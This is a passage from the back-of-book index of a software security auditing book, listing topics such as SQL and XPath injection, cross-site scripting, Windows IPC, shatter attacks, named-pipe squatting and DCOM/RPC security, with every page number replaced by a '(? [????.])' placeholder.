     SQL injection(? [????.]) 

         parameterized queries(? [????.]) 

         prepared statements(? [????.]) 

         second order injection(? [????.]) 

         stored procedures(? [????.]) 

         testing for(? [????.]) 

     SSIs (server-side includes)(? [????.]) 

     static content(? [????.]) 

     Struts framework(? [????.]) 

     threading issues(? [????.]) 

     URIs (Uniform Resource Identifiers)(? [????.]) 

     Web server APIs(? [????.]) 

     XML injection(? [????.]) 

     XPath injection(? [????.]) 

     XSLT (Extensible Stylesheet Language Transformation)(? [????.]) 

     XSS (cross-site scripting)(? [????.]) 

Web Distributed Authoring and Versioning (WebDAV) methods(? [????.]) 

Web server APIs, Java servlets versus(? [????.]) 

Web servers 

     APIs(? [????.]) 

     directory indexing(? [????.]) 

     server-side scripting(? [????.]) 

     server-side transformation(? [????.]) 

     SSIs (server-side includes)(? [????.]) 

Web Services(? [????.]) 

     AJAX (Asynchronous JavaScript and XML)(? [????.]) 

     REST (Representational State Transfer)(? [????.]) 

     SOAP (Simple Object Access Protocol)(? [????.]) 

Web Services Description Language (WSDL)(? [????.]) 

Web tier (Web applications)(? [????.]) 2nd(? [????.]) 

Web-specific vulnerabilities, applications(? [????.]) 

     authentication(? [????.]) 

     default site installations(? [????.]) 
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     directory indexing(? [????.]) 

     file handlers(? [????.]) 

     HTTP request methods(? [????.]) 

     overly verbose error messages(? [????.]) 

     public-facing administrative interfaces(? [????.]) 

web.config file, ASP.NET(? [????.]) 

WebDAV (Web Distributed Authoring and Versioning) methods(? [????.]) 

Weil, Alejandro David(? [????.]) 

WEP (Wired Equivalent Privacy)(? [????.]) 

white-list filters, metacharacters(? [????.]) 

Whitehead, Alfred North(? [????.]) 

Wi-Fi Protected Access (WPA)(? [????.]) 

WideCharToMultiByte( ) function(? [????.]) 2nd(? [????.]) 

width, integer types(? [????.]) 2nd(? [????.]) 

Wilson, Daniel H.(? [????.]) 

window scale option, TCP (Transmission Control Protocol) processing(? [????.]) 

window station, IPC (interprocess communications)(? [????.]) 

Windows functions, Unicode(? [????.]) 

Windows Internals, 4th Edition(? [????.]) 

Windows messaging, IPC (interprocess communications)(? [????.]) 

     DDE (Dynamic Data Exchange)(? [????.]) 

     desktop object(? [????.]) 

     shatter attacks(? [????.]) 

     window station(? [????.]) 

     WTS (Windows Terminal Services)(? [????.]) 

Windows NT(? [????.]) 2nd(? [????.]) 

    COM (Component Object Model) 

         Active X security(? [????.]) 

         application IDs(? [????.]) 

         automation objects(? [????.]) 2nd(? [????.]) 

         CLSID mapping(? [????.]) 

         components(? [????.]) 

         DCOM Configuration utility(? [????.]) 

         interfaces(? [????.]) 

         OLE (Object Linking and Embedding)(? [????.]) 

         proxies(? [????.]) 

         stubs(? [????.]) 

         threading(? [????.]) 

         type libraries(? [????.]) 

    DCOM (Distibuted Component Object Model) 

         access controls(? [????.]) 

         application audits(? [????.]) 

         application identity(? [????.]) 

         application registration(? [????.]) 
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         ATL (Active Template Library)(? [????.]) 

         DCOM Configuration utility(? [????.]) 

         impersonation(? [????.]) 

         interface audits(? [????.]) 

         MIDL (Microsoft Interface Definition Language)(? [????.]) 

         subsystem access permissions(? [????.]) 

     development of(? [????.]) 

     event objects(? [????.]) 

     file access(? [????.]) 

         canonicalization(? [????.]) 

         case sensitivity(? [????.]) 

         device files(? [????.]) 

         DOS 8.3 filenames(? [????.]) 

         extraneous filename characters(? [????.]) 

         File I/O API(? [????.]) 

         file open audits(? [????.]) 

         file squatting(? [????.]) 

         file streams(? [????.]) 

         file types(? [????.]) 

         links(? [????.]) 

         permissions(? [????.]) 

     IPC (interprocess communications)(? [????.]) 

         COM (Component Object Model)(? [????.]) 

         DDE (Dynamic Data Exchange)(? [????.]) 

         desktop object(? [????.]) 

         impersonation(? [????.]) 

         mailslots(? [????.]) 

         messaging(? [????.]) 

         pipes(? [????.]) 

         redirector(? [????.]) 

         RPCs (Remote Procedure Calls)(? [????.]) 

         security(? [????.]) 

         shatter attacks(? [????.]) 

         window station(? [????.]) 

         WTS (Windows Terminal Services)(? [????.]) 

     KOM (Kernel Object Manager)(? [????.]) 

     multithreaded programs, synchronicity(? [????.]) 

     mutex objects(? [????.]) 

     namespaces(? [????.]) 

     objects(? [????.]) 

         boundary descriptor objects(? [????.]) 

         handles(? [????.]) 

         namespaces(? [????.]) 

         nonsecurable objects(? [????.]) 
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         SymbolicLink objects(? [????.]) 

         system objects(? [????.]) 

     origins of(? [????.]) 

    pipes 

         anonymous pipes(? [????.]) 

         creating(? [????.]) 

         impersonation(? [????.]) 

         named pipes(? [????.]) 

         permissions(? [????.]) 

         pipe squatting(? [????.]) 

     POSIX subsystem, signals, handling(? [????.]) 

     processes(? [????.]) 

         DLL loading(? [????.]) 

         loading(? [????.]) 

         process synchronization(? [????.]) 

         services(? [????.]) 

         ShellExecute( ) function(? [????.]) 

         ShellExecuteEx( ) function(? [????.]) 

     registry(? [????.]) 

         key permissions(? [????.]) 

         key squatting(? [????.]) 

         predefined keys(? [????.]) 

         value squatting(? [????.]) 

    RPCs (Remote Procedure Calls) 

         ACFs (application configuration files)(? [????.]) 

         application audits(? [????.]) 

         connections(? [????.]) 

         context handles(? [????.]) 

         DCE (Distributed Computing Environment) RPCs(? [????.]) 

         IDL file structure(? [????.]) 

         impersonation(? [????.]) 

         MIDL (Microsoft Interface Definition Language)(? [????.]) 

         ONC (Open Network Computing) RPCs(? [????.]) 

         proprietary state mechanisms(? [????.]) 

         RPC servers(? [????.]) 

         threading(? [????.]) 

         transports(? [????.]) 

     security descriptors(? [????.]) 

         access masks(? [????.]) 

         ACL inheritance(? [????.]) 

         ACL permissions(? [????.]) 

         programming interfaces(? [????.]) 

         strings(? [????.]) 

     semaphores(? [????.]) 
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     sessions(? [????.]) 

         access tokens(? [????.]) 2nd(? [????.]) 

         logon rights(? [????.]) 

         SIDs (security IDs)(? [????.]) 

     threads(? [????.]) 

     waitable timer(? [????.]) 

Windows registry, path metacharacters(? [????.]) 

Windows System Programming(? [????.]) 

WinObj(? [????.]) 

Wired Equivalent Privacy (WEP)(? [????.]) 

Wojtczuk, Rafal(? [????.]) 

working directories, UNIX(? [????.]) 

working papers, application review(? [????.]) 

WPA (Wi-Fi Protected Access)(? [????.]) 

Writing Secure Code, 2nd Edition(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

writing to files, stdio file system(? [????.]) 

WSDL (Web Services Description Language)(? [????.]) 

_wsprintfW( ) function(? [????.]) 

WTS (Windows Terminal Services), Windows messaging(? [????.]) 

WWW-Authenticate header field (HTTP)(? [????.]) 

WWW-Link header field (HTTP)(? [????.]) 

WWW-Title header field (HTTP)(? [????.]) 
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XER (XML Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) 

XF86_SVGA servers, privileges, misuse of(? [????.]) 

_xlate_ascii_write( ) function(? [????.]) 

XML (eXtensible Markup Language) 

     encoding(? [????.]) 

     injection(? [????.]) 

     XML injection(? [????.]) 

     XPath injection(? [????.]) 

XPath injection(? [????.]) 
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XSS (cross-site scripting)(? [????.]) 
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